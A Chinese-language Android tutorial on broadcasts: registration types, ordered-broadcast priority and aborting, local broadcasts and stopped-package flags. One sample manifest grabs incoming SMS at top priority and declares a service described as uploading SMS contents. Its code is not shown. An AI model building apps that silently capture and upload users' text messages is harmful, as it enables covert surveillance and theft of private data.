广播的使用_有序广播如何实现按顺序收到广播

1.Android广播机制概述

今天来看一下Android中的广播机制，我们知道广播Broadcast是android中的四大组件之一，可见他的重要性了，当然它的用途也很大的，比如一些系统的广播：电量低、开机、锁屏等一些操作都会发送一个广播

Android广播分为两个方面：广播发送者和广播接收者，通常情况下，BroadcastReceiver指的就是广播接收者（广播接收器）。

广播作为android组件间的通信方式，可以使用的场景如下：

• 1.同一app内部的同一组件内的消息通信（单个或多个线程之间）；
• 2.同一app内部的不同组件之间的消息通信（单个进程）；
• 3.同一app具有多个进程的不同组件之间的消息通信；
• 4.不同app之间的组件之间消息通信；
• 5.Android系统在特定情况下与App之间的消息通信。

从实现原理看上，Android中的广播使用了观察者模式，基于消息的发布/订阅事件模型。因此，从实现的角度来看，Android中的广播将广播的发送者和接受者极大程度上解耦，使得系统能够方便集成，更易扩展。

具体实现流程要点粗略概括如下：

• 1.广播接收者BroadcastReceiver通过Binder机制向AMS(Activity Manager Service)进行注册；
• 2.广播发送者通过binder机制向AMS发送广播；
• 3.AMS查找符合相应条件（IntentFilter/Permission等）的BroadcastReceiver，将广播发送到BroadcastReceiver（一般情况下是Activity）相应的消息循环队列中；

• 4.消息循环执行拿到此广播，回调BroadcastReceiver中的onReceive()方法。

  对于不同的广播类型，以及不同的BroadcastReceiver注册方式，具体实现上会有不同。但总体流程大致如上。

由此看来，广播发送者和广播接收者分别属于观察者模式中的消息发布和订阅两端，AMS(Activity Manager Service)属于中间的处理中心。广播发送者和广播接收者的执行是异步的，发出去的广播不会关心有无接收者接收，也不确定接收者到底是何时才能接收到。显然，整体流程与EventBus非常类似。

在上文说列举的广播机制具体可以使用的场景中，现分析实际应用中的适用性：

第一种情形：同一app内部的同一组件内的消息通信（单个或多个线程之间），实际应用中肯定是不会用到广播机制的（虽然可以用），无论是使用扩展变量作用域、基于接口的回调还是Handler-post/Handler-Message等方式，都可以直接处理此类问题，若适用广播机制，显然有些“杀鸡牛刀”的感觉，会显太“重”；

第二种情形：同一app内部的不同组件之间的消息通信（单个进程），对于此类需求，在有些教复杂的情况下单纯的依靠基于接口的回调等方式不好处理，此时可以直接使用EventBus等，相对而言，EventBus由于是针对统一进程，用于处理此类需求非常适合，且轻松解耦。可以参见文件《Android各组件/控件间通信利器之EventBus》。

第三、四、五情形：由于涉及不同进程间的消息通信，此时根据实际业务使用广播机制会显得非常适宜。下面主要针对Android广播中的具体知识点进行总结。

2.自定义BroadcastReceiver

自定义广播接收器需要继承基类BroadcastReceivre，并实现抽象方法onReceive(context, 
intent)方法。广播接收器接收到相应广播后，会自动回调onReceive(..)方法。默认情况下，广播接收器也是运行在UI线程，因此，onReceive方法中不能执行太耗时的操作。否则将因此ANR。一般情况下，根据实际业务需求，onReceive方法中都会涉及到与其他组件之间的交互，如发送Notification、启动service等。 
下面代码片段是一个简单的广播接收器的自定义：

  public class MyBroadcastReceiver extends BroadcastReceiver {
      public static final String TAG = "MyBroadcastReceiver";
      public static int m = 1;
 
      @Override
      public void onReceive(Context context, Intent intent) {
          Log.w(TAG, "intent:" + intent);
          String name = intent.getStringExtra("name");
         Log.w(TAG, "name:" + name + " m=" + m);
         m++;
 
         Bundle bundle = intent.getExtras();
 
     }
 }
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

BroadcastReceiver注册类型

BroadcastReceiver总体上可以分为两种注册类型：静态注册和动态注册。

广播被分为两种不同的类型：“普通广播（Normal broadcasts）”和“有序广播（Ordered broadcasts）”。

普通广播

是完全异步的，可以在同一时刻（逻辑上）被所有广播接收者接收到，消息传递的效率比较高，但缺点是：接收者不能将处理结果传递给下一个接收者，并且无法终止广播Intent的传播；

有序广播

是按照接收者声明的优先级别（声明在intent-filter元素的android:priority属性中，数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置），被接收者依次接收广播。如：A的级别高于B,B的级别高于C,那么，广播先传给A，再传给B，最后传给C。A得到广播后，可以往广播里存入数据，当广播传给B时,B可以从广播中得到A存入的数据。

Context.sendBroadcast()

发送的是普通广播，所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

发送的是有序广播，系统会根据接收者声明的优先级别按顺序逐个执行接收者，前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast())，如果广播被前面的接收者终止，后面的接收者就再也无法获取到广播。对于有序广播，前面的接收者可以将处理结果存放进广播Intent，然后传给下一个接收者。

1).静态注册： 
直接在AndroidManifest.xml文件中进行注册。规则如下：

<receiver android:enabled=["true" | "false"]
android:exported=["true" | "false"]
android:icon="drawable resource"
android:label="string resource"
android:name="string"
android:permission="string"
android:process="string" >
. . .
</receiver>
 
 
1
2
3
4
5
6
7
8
9
 
 
1
2
3
4
5
6
7
8
9

其中，需要注意的属性

• android:exported ——此broadcastReceiver能否接收其他App的发出的广播，这个属性默认值有点意思，其默认值是由receiver中有无intent-filter决定的，如果有intent-filter，默认值为true，否则为false。（同样的，activity/service中的此属性默认值一样遵循此规则）同时，需要注意的是，这个值的设定是以application或者application user id为界的，而非进程为界（一个应用中可能含有多个进程）；
• android:name —— 此broadcastReceiver类名；
• android:permission ——如果设置，具有相应权限的广播发送方发送的广播才能被此broadcastReceiver所接收；
• android:process ——broadcastReceiver运行所处的进程。默认为app的进程。可以指定独立的进程（Android四大基本组件都可以通过此属性指定自己的独立进程）

常见的注册形式有：

<receiver android:name=".MyBroadcastReceiver" >
    <intent-filter>
        <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>
 
 
1
2
3
4
5
6
7
8
 
 
1
2
3
4
5
6
7
8

其中，intent-filter由于指定此广播接收器将用于接收特定的广播类型。本示例中给出的是用于接收网络状态改变或开启启动时系统自身所发出的广播。当此App首次启动时，系统会自动实例化MyBroadcastReceiver，并注册到系统中。

之前常说：静态注册的广播接收器即使app已经退出，主要有相应的广播发出，依然可以接收到，但此种描述自Android 3.1开始有可能不再成立，具体分析详见本文后面部分。

2).动态注册： 
动态注册时，无须在AndroidManifest中注册组件。直接在代码中通过调用Context的registerReceiver函数，可以在程序中动态注册BroadcastReceiver。registerReceiver的定义形式如下：

 registerReceiver(BroadcastReceiver receiver, IntentFilter filter)
 
 registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)
 
 
1
2
3
 
 
1
2
3

典型的写法示例如下：

  public class MainActivity extends Activity {
      public static final String BROADCAST_ACTION = "com.example.corn";
      private BroadcastReceiver mBroadcastReceiver;
 
      @Override
      protected void onCreate(Bundle savedInstanceState) {
          super.onCreate(savedInstanceState);
          setContentView(R.layout.activity_main);
 
         mBroadcastReceiver = new MyBroadcastReceiver();
         IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(BROADCAST_ACTION);
         registerReceiver(mBroadcastReceiver, intentFilter);
     }
 
     @Override
     protected void onDestroy() {
         super.onDestroy();
         unregisterReceiver(mBroadcastReceiver);
     }
 
 }
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

注：Android中所有与观察者模式有关的设计中，一旦涉及到register，必定在相应的时机需要unregister。因此，上例在onDestroy()回到中需要unregisterReceiver(mBroadcastReceiver)。

当此Activity实例化时，会动态将MyBroadcastReceiver注册到系统中。当此Activity销毁时，动态注册的MyBroadcastReceiver将不再接收到相应的广播。

广播接收者（BroadcastReceiver）用于接收广播Intent，广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收，这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下：

第一步：定义广播接收者，继承BroadcastReceiver，并重写onReceive()方法。

    public class IncomingSMSReceiver extends BroadcastReceiver {  
      @Override public void onReceive(Contextcontext, Intentintent) {  
      }  
    }  
 
 
1
2
3
4
 
 
1
2
3
4

第二步：订阅感兴趣的广播Intent，订阅方法有两种：

第一种：使用代码进行订阅(动态订阅)

    IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");  
    IncomingSMSReceiver receiver = new IncomingSMSReceiver();  
    registerReceiver(receiver, filter);  
 
 
1
2
3
 
 
1
2
3

第二种：在AndroidManifest.xml文件中的节点里进行订阅(静态订阅)

    <receiver android:name=".IncomingSMSReceiver">  
       <intent-filter>  
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
       </intent-filter>  
    </receiver>  
 
 
1
2
3
4
5
 
 
1
2
3
4
5

下面看一下动态广播订阅和静态广播订阅的却别：

静态订阅广播

又叫：常驻型广播，当你的应用程序关闭了，如果有广播信息来，你写的广播接收器同样的能接受到，他的注册方式就是在你的应用程序中的AndroidManifast.xml进行订阅的。

动态订阅广播

又叫：非常驻型广播，当应用程序结束了，广播自然就没有了，比如你在activity中的onCreate或者onResume中订阅广播，同时你必须在onDestory或者onPause中取消广播订阅。不然会报异常，这样你的广播接收器就一个非常驻型的了。

这里面还有一个细节那就是这两种订阅方式，在发送广播的时候需要注意的是：动态注册的时候使用的是隐式intent方式的，所以在发送广播的时候需要使用隐式Intent去发送，不然是广播接收者是接收不到广播的，这一点要注意。但是静态订阅的时候，因为在AndroidMainfest.xml中订阅的，所以在发送广播的时候使用显示Intent和隐式Intent都可以(当然这个只针对于我们自己定义的广播接收者)，所以以防万一，我们一般都采用隐式Intent去发送广播。

下面看一下例子：

看一下项目结构：

看一下静态订阅广播:

package com.broadcast.demo;
 
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
 
import com.example.androidbroadcastdemo.R;
 
/**
 * 静态订阅广播
 * @author weijiang204321
 *
 */
public class StaticRegisterBroadcastActivity extends Activity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button btn = (Button)findViewById(R.id.btn);
 
        btn.setOnClickListener(new OnClickListener(){
            @Override
            public void onClick(View v) {
                //使用静态的方式注册广播，可以使用显示意图进行发送广播
                Intent broadcast = new Intent("com.broadcast.set.broadcast");
                sendBroadcast(broadcast,null);
            }
 
        });
    }
 
}
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

在AndroidMainfest.xml中订阅:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.androidbroadcastdemo"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="18" />
 
    <!-- 权限 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.broadcast.demo.StaticRegisterBroadcastActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
 
        <!-- 无序广播注册START  -->
        <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">
            <intent-filter >
                <action android:name="com.broadcast.demo.mybroadcast"/>
            </intent-filter>
        </receiver>
        <!-- 无序广播注册END -->
 
        <!-- 有序广播的注册START -->
        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
            <intent-filter android:priority="999">
                <action android:name="com.broadcast.set.broadcast"/>
            </intent-filter>
        </receiver>
 
        <!-- 接收短信广播 -->
        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <!-- 有序广播的注册END -->
 
        <!-- 上传短信内容的Service -->
        <service android:name="com.broadcast.service.UploadSMSService">
            <intent-filter >
                <action android:name="com.broadcast.service.uploadsmsservice"/>
            </intent-filter>
        </service>
 
    </application>
 
</manifest>
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

先不要管其他的内容了，后面会讲到，这里只关注静态广播的注册

    <!-- 无序广播注册START  -->  
           <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">  
                <intent-filter >  
                    <action android:name="com.broadcast.demo.mybroadcast"/>  
                </intent-filter>  
            </receiver>  
    <!-- 无序广播注册END -->  
 
 
1
2
3
4
5
6
7
 
 
1
2
3
4
5
6
7

下面来看一下广播的接收者:

    package com.broadcast.receiver;  
 
    import android.content.BroadcastReceiver;  
    import android.content.Context;  
    import android.content.Intent;  
    import android.util.Log;  
 
    /** 
     * 广播接收者 
     * @author weijiang204321 
     * 
     */  
    public class UnSortBroadcastReceiver extends BroadcastReceiver {  
 
        @Override  
        public void onReceive(Context context, Intent intent) {  
            Log.e("Intent_Action:",intent.getAction()+"");  
        }  
 
    }  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

在广播接收者中的onReceive方法中的逻辑很简单，就是打印Action的内容。

运行程序，结果很简单，这里就不上图片了。

下面来看一下动态订阅：

package com.broadcast.demo;
 
import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
 
import com.broadcast.receiver.UnSortBroadcastReceiver;
import com.example.androidbroadcastdemo.R;
 
/**
 * 使用动态的方式注册广播
 * @author weijiang204321
 *
 */
public class DynamicRegisterBroadcastActivity extends Activity {
 
    public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM";
    protected  UnSortBroadcastReceiver receiver;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button btn0 = (Button) findViewById(R.id.btn);
        btn0.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                //发送广播
                Intent it = new Intent(NEW_LIFEFORM_DETECTED);
                sendBroadcast(it);
            }
        });
    }
 
    @Override
    protected void onResume() {
        super.onResume();
        //注册广播
        IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED);
        receiver = new UnSortBroadcastReceiver();
        registerReceiver(receiver, counterActionFilter);
    }
 
    @Override
    protected void onPause() {
        super.onPause();
        //取消广播
        unregisterReceiver(receiver);
    }
}
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

这里我们是在onResume中进行订阅广播，在onPause中取消订阅广播。

AndroidMainfest.xml中将启动的Activity改成DynamicRegisterBroadcastActivity，其他的内容不需要修改，运行程序，打印结果很简单，这里就不上图了。

下面来看一下有序广播和无序广播

这个我们在开始的时候已经说到了，下面来看一下无序广播:

首先我们定义两个广播接收者:

第一个广播接收者:

 package com.broadcast.receiver;  
 
 import android.content.BroadcastReceiver;  
 import android.content.Context;  
 import android.content.Intent;  
 import android.util.Log;  
 
 /** 
  * 广播接收者A 
  * @author weijiang204321 
  * 
  */  
 public class SortBroadcastReceiverA extends BroadcastReceiver{     
     @Override  
     public void onReceive(Context context, Intent intent) {  
         Log.e("Demo:","广播接收者A");  
     }    
 }  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

第二个广播接收者:

 package com.broadcast.receiver;   
 import android.content.BroadcastReceiver;  
 import android.content.Context;  
 import android.content.Intent;  
 import android.util.Log;  
 
 /** 
  * 广播接收者B 
  * @author weijiang204321 
  * 
  */  
 public class SortBroadcastReceiverB extends BroadcastReceiver{  
 
     @Override  
     public void onReceive(Context context, Intent intent) {  
         Log.e("Demo:","广播B");  
     }  
 }  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

在AndroidMainfest.xml中订阅广播

[html] view plain copy 
 
  <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">  
             <intent-filter android:priority="999">  
                 <action android:name="com.broadcast.set.broadcast"/>  
             </intent-filter>  
 </receiver>  
 
 <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">  
             <intent-filter android:priority="1000">  
                 <action android:name="com.broadcast.set.broadcast"/>  
             </intent-filter>  
 </receiver>  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14

运行结果:

运行结果有点奇怪，为什么是接收者B在前面，接收者A在后面，原因就是我们在AndroidMainfest.xml中订阅广播的时候在intent-filter设置了android:priority属性值，值越大优先级越高，接收者B的优先级是1000，接收者A的优先级是999,所以是B先接收到广播，然后A才接收到，但是接收者B和接收者A之间没有联系，也不能有交互的，因为是这是无序广播，是异步的，我们可以做个试验就是在B中的onReceiver方法中添加代码：

abortBroadcast();//终止此次广播的传输

运行结果：

我们可以看到提示错误，就是non-ordered broadcast无序广播不允许终止广播，其实终止也没有用，因为接收者A还是接收到广播了。

下面来看一下有序广播，代码需要做一下修改：

首先是在发送广播的时候:

    Intent broadcast = new Intent("com.broadcast.set.broadcast");  
    sendOrderedBroadcast(broadcast,null);  
 
 
1
2
 
 
1
2

然后在B接收者中的添加终止广播的方法:

abortBroadcast();

其他的代码不需要修改，运行结果：

只有B接收者了，A接收者没有接收到广播了，因为在B接收者中将广播给终止了，后面的接收者都接受不到了。

下面在修改一下代码：

接收者B：

package com.broadcast.receiver;  
 
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.os.Bundle;  
import android.util.Log;  
 
/** 
 * 广播接收者B 
 * @author weijiang204321 
 */  
 
public class SortBroadcastReceiverB extends BroadcastReceiver{  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Demo:","广播接收者B");  
        Bundle bundle = new Bundle();  
        bundle.putString("next_receiver", "下一个广播接收者");  
        setResultExtras(bundle);  
    }  
}  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

B接收到广播后，存入一些值，传给下一个接收者。

接收者A的代码：

package com.broadcast.receiver;  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.os.Bundle;  
import android.util.Log;  
/** 
 * 广播接收者A 
 * @author weijiang204321 
 */  
public class SortBroadcastReceiverA extends BroadcastReceiver{  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Demo:","广播接收者A");  
        Bundle bundle = getResultExtras(true);  
        String content = bundle.getString("next_receiver");  
        Log.e("Demo:",content+"");  
 
    }  
}  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

运行结果如下：

接收者A收到了上一个接收者B传递的信息，这个信息可以保留到后面的所有接收者，直到广播终止。

上面讲到的就是有序广播的特点，可以看出是一个同步的动作，接收者之间可以进行数据的交互(上一个传递数据给下一个)，也可以控制广播的终止。

3.广播发送及广播类型

经常说”发送广播“和”接收“，表面上看广播作为Android广播机制中的实体，实际上这一实体本身是并不是以所谓的”广播“对象存在的，而是以”意图“（Intent）去表示。定义广播的定义过程，实际就是相应广播”意图“的定义过程，然后通过广播发送者将此”意图“发送出去。被相应的BroadcastReceiver接收后将会回调onReceive()函数。

下段代码片段显示的是一个普通广播的定义过程，并发送出去。其中setAction(..)对应于BroadcastReceiver中的intentFilter中的action。

 Intent intent = new Intent();
 intent.setAction(BROADCAST_ACTION);
 intent.putExtra("name", "qqyumidi");
 sendBroadcast(intent);
 
 
1
2
3
4
 
 
1
2
3
4

根据广播的发送方式，可以将其分为以下几种类型：

• 1.Normal Broadcast：普通广播
• 2.System Broadcast: 系统广播
• 3.Ordered broadcast：有序广播
• 4.Sticky Broadcast：粘性广播(在 android 5.0/api 21中deprecated,不再推荐使用，相应的还有粘性有序广播，同样已经deprecated)
• 5.Local Broadcast：App应用内广播

下面分别总结下各种类型的发送方式及其特点。

1).Normal Broadcast：普通广播

此处将普通广播界定为：开发者自己定义的intent，以context.sendBroadcast_”AsUser”(intent, …)形式。具体可以使用的方法有：

• sendBroadcast(intent)/
• sendBroadcast(intent, receiverPermission)/
• sendBroadcastAsUser(intent, userHandler)/
• sendBroadcastAsUser(intent, userHandler,receiverPermission)。

普通广播会被注册了的相应的感兴趣（intent-filter匹配）接收，且顺序是无序的。如果发送广播时有相应的权限要求，BroadCastReceiver如果想要接收此广播，也需要有相应的权限。

2).System Broadcast: 系统广播

Android系统中内置了多个系统广播，只要涉及到手机的基本操作，基本上都会发出相应的系统广播。如：开启启动，网络状态改变，拍照，屏幕关闭与开启，点亮不足等等。每个系统广播都具有特定的intent-filter，其中主要包括具体的action，系统广播发出后，将被相应的BroadcastReceiver接收。系统广播在系统内部当特定事件发生时，有系统自动发出。

3)Ordered broadcast：有序广播

有序广播的有序广播中的“有序”是针对广播接收者而言的，指的是发送出去的广播被BroadcastReceiver按照先后循序接收。有序广播的定义过程与普通广播无异，只是其的主要发送方式变为：sendOrderedBroadcast(intent, receiverPermission, …)。

对于有序广播，其主要特点总结如下：

• • 1>多个具当前已经注册且有效的BroadcastReceiver接收有序广播时，是按照先后顺序接收的，先后顺序判定标准遵循为：将当前系统中所有有效的动态注册和静态注册的BroadcastReceiver按照priority属性值从大到小排序，对于具有相同的priority的动态广播和静态广播，动态广播会排在前面。
• • 2>先接收的BroadcastReceiver可以对此有序广播进行截断，使后面的BroadcastReceiver不再接收到此广播，也可以对广播进行修改，使后面的BroadcastReceiver接收到广播后解析得到错误的参数值。当然，一般情况下，不建议对有序广播进行此类操作，尤其是针对系统中的有序广播。

4)Sticky Broadcast：粘性广播

(在 android 5.0/api 21中deprecated,不再推荐使用，相应的还有粘性有序广播，同样已经deprecated)。

既然已经deprecated，此处不再多做总结。

5)Local Broadcast：App应用内广播(本地广播)

（此处的App应用以App应用进程为界）

由前文阐述可知，Android中的广播可以跨进程甚至跨App直接通信，且注册是exported对于有intent-filter的情况下默认值是true，由此将可能出现安全隐患如下：

• 1.其他App可能会针对性的发出与当前App intent-filter相匹配的广播，由此导致当前App不断接收到广播并处理；
• 2.其他App可以注册与当前App一致的intent-filter用于接收广播，获取广播具体信息。

无论哪种情形，这些安全隐患都确实是存在的。由此，最常见的增加安全性的方案是：

• 1.对于同一App内部发送和接收广播，将exported属性人为设置成false，使得非本App内部发出的此广播不被接收；
• 2.在广播发送和接收时，都增加上相应的permission，用于权限验证；
• 3.发送广播时，指定特定广播接收器所在的包名，具体是通过intent.setPackage(packageName)指定在，这样此广播将只会发送到此包中的App内与之相匹配的有效广播接收器中。

App应用内广播可以理解成一种局部广播的形式，广播的发送者和接收者都同属于一个App。实际的业务需求中，App应用内广播确实可能需要用到。同时，之所以使用应用内广播时，而不是使用全局广播的形式，更多的考虑到的是Android广播机制中的安全性问题。

相比于全局广播，App应用内广播优势体现在：

• 1.安全性更高；
• 2.更加高效;
• 3.正在发送的广播不会离开应用程序，不必担心机密数据泄露；
• 4.其他程序无法将广播发送到应用程序内部，不担心安全漏洞；
• 5.发送本地广播比发送全局广播高效。

为此，Android v4兼容包中给出了封装好的LocalBroadcastManager类，用于统一处理App应用内的广播问题，使用方式上与通常的全局广播几乎相同，只是注册/取消注册广播接收器和发送广播时将主调context变成了LocalBroadcastManager的单一实例。

使用方法：

通过LocalBroadcastManager的getInstance()方法获得实例，动态注册。

  //registerReceiver(mBroadcastReceiver, intentFilter);
  //注册应用内广播接收器
  localBroadcastManager = LocalBroadcastManager.getInstance(this);
  localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter);
 
  //unregisterReceiver(mBroadcastReceiver);
  //取消注册应用内广播接收器
  localBroadcastManager.unregisterReceiver(mBroadcastReceiver);
 
 Intent intent = new Intent();
 intent.setAction(BROADCAST_ACTION);
 intent.putExtra("name", "qqyumidi");
 //sendBroadcast(intent);
 //发送应用内广播
 localBroadcastManager.sendBroadcast(intent);
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

private BroadcastReceiver mReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (null != intent && intent.getAction().equalsIgnoreCase(FILTER_CHANGE_XXX)) {
            String filter = intent.getExtras().getString(KEY_XXX_FILTER);
            resetFilter(filter);// Do Something
        }
    }
};
 
 
1
2
3
4
5
6
7
8
9
 
 
1
2
3
4
5
6
7
8
9

注册：

LocalBroadcastManager.getInstance(getActivity()).registerReceiver(mReceiver, new IntentFilter(FILTER_CHANGE_XXX));
 
 
1
 
 
1

取消注册：

LocalBroadcastManager.getInstance(getActivity()).unregisterReceiver(mReceiver);
 
 
1
 
 
1

4.不同注册方式的广播接收器回调onReceive(context, intent)中的context具体类型

• 1).对于静态注册的ContextReceiver，回调onReceive(context, intent)中的context具体指的是ReceiverRestrictedContext；
• 2).对于全局广播的动态注册的ContextReceiver，回调onReceive(context, intent)中的context具体指的是Activity Context；
• 3).对于通过LocalBroadcastManager动态注册的ContextReceiver，回调onReceive(context, intent)中的context具体指的是Application Context。

注：对于LocalBroadcastManager方式发送的应用内广播，只能通过LocalBroadcastManager动态注册的ContextReceiver才有可能接收到（静态注册或其他方式动态注册的ContextReceiver是接收不到的）。

5.不同Android API版本中广播机制相关API重要变迁

1).Android5.0/API level 21开始粘滞广播和有序粘滞广播过期，以后不再建议使用；

2).”静态注册的广播接收器即使app已经退出，主要有相应的广播发出，依然可以接收到，但此种描述自Android 3.1开始有可能不再成立“

Android 3.1开始系统在Intent与广播相关的flag增加了参数，分别是FLAG_INCLUDE_STOPPED_PACKAGES和FLAG_EXCLUDE_STOPPED_PACKAGES。

• FLAG_INCLUDE_STOPPED_PACKAGES：包含已经停止的包（停止：即包所在的进程已经退出）
• FLAG_EXCLUDE_STOPPED_PACKAGES：不包含已经停止的包

主要原因如下：

自Android3.1开始，系统本身则增加了对所有app当前是否处于运行状态的跟踪。在发送广播时，不管是什么广播类型，系统默认直接增加了值为FLAG_EXCLUDE_STOPPED_PACKAGES的flag，导致即使是静态注册的广播接收器，对于其所在进程已经退出的app，同样无法接收到广播。

详情参加Android官方文档：http://developer.android.com/about/versions/android-3.1.html#launchcontrols

由此，对于系统广播，由于是系统内部直接发出，无法更改此intent flag值，因此，3.1开始对于静态注册的接收系统广播的BroadcastReceiver，如果App进程已经退出，将不能接收到广播。

但是对于自定义的广播，可以通过复写此flag为FLAG_INCLUDE_STOPPED_PACKAGES，使得静态注册的BroadcastReceiver，即使所在App进程已经退出，也能能接收到广播，并会启动应用进程，但此时的BroadcastReceiver是重新新建的。

 Intent intent = new Intent();
 intent.setAction(BROADCAST_ACTION);
 intent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES);
 intent.putExtra("name", "qqyumidi");
 sendBroadcast(intent);
 
 
1
2
3
4
5
 
 
1
2
3
4
5

注1：对于动态注册类型的BroadcastReceiver，由于此注册和取消注册实在其他组件（如Activity）中进行，因此，不受此改变影响。

注2：在3.1以前，相信不少app可能通过静态注册方式监听各种系统广播，以此进行一些业务上的处理（如即时app已经退出，仍然能接收到，可以启动service等..）,3.1后，静态注册接受广播方式的改变，将直接导致此类方案不再可行。于是，通过将Service与App本身设置成不同的进程已经成为实现此类需求的可行替代方案。

​ 最近在开发第三方SDK，其中要发一条广播给设备上所有集成了SDK的应用，触发一些逻辑，可是遇到一个问题，当通过“应用管理器”将应用“强制停止”后，被停止的应用就无法接收到广播，静态注册的广播也没有用。查阅了相关资料发现了问题所在。

在android3.1以后的版本中，如果程序被强制停止后应用状态会被标记为STOPPED，此时应用无法收到其他应用的广播，要等到应用再开启一次，将STOPPED去掉以后才可以。除此之外还有一个解决方法如下：

解决办法：

在广播发发送方发送广播时需要设置Intent.FLAG_INCLUDE_STOPPED_PACKAGES

示例代码：

Intent intent = new Intent();
intent.setAction("com.leeliwei.test.receiver.action.test");
if (android.os.Build.VERSION.SDK_INT >= 12) {
     intent.setFlags(32);//3.1以后的版本需要设置Intent.FLAG_INCLUDE_STOPPED_PACKAGES
}
sendBroadcast(intent);
 
 
1
2
3
4
5
6
 
 
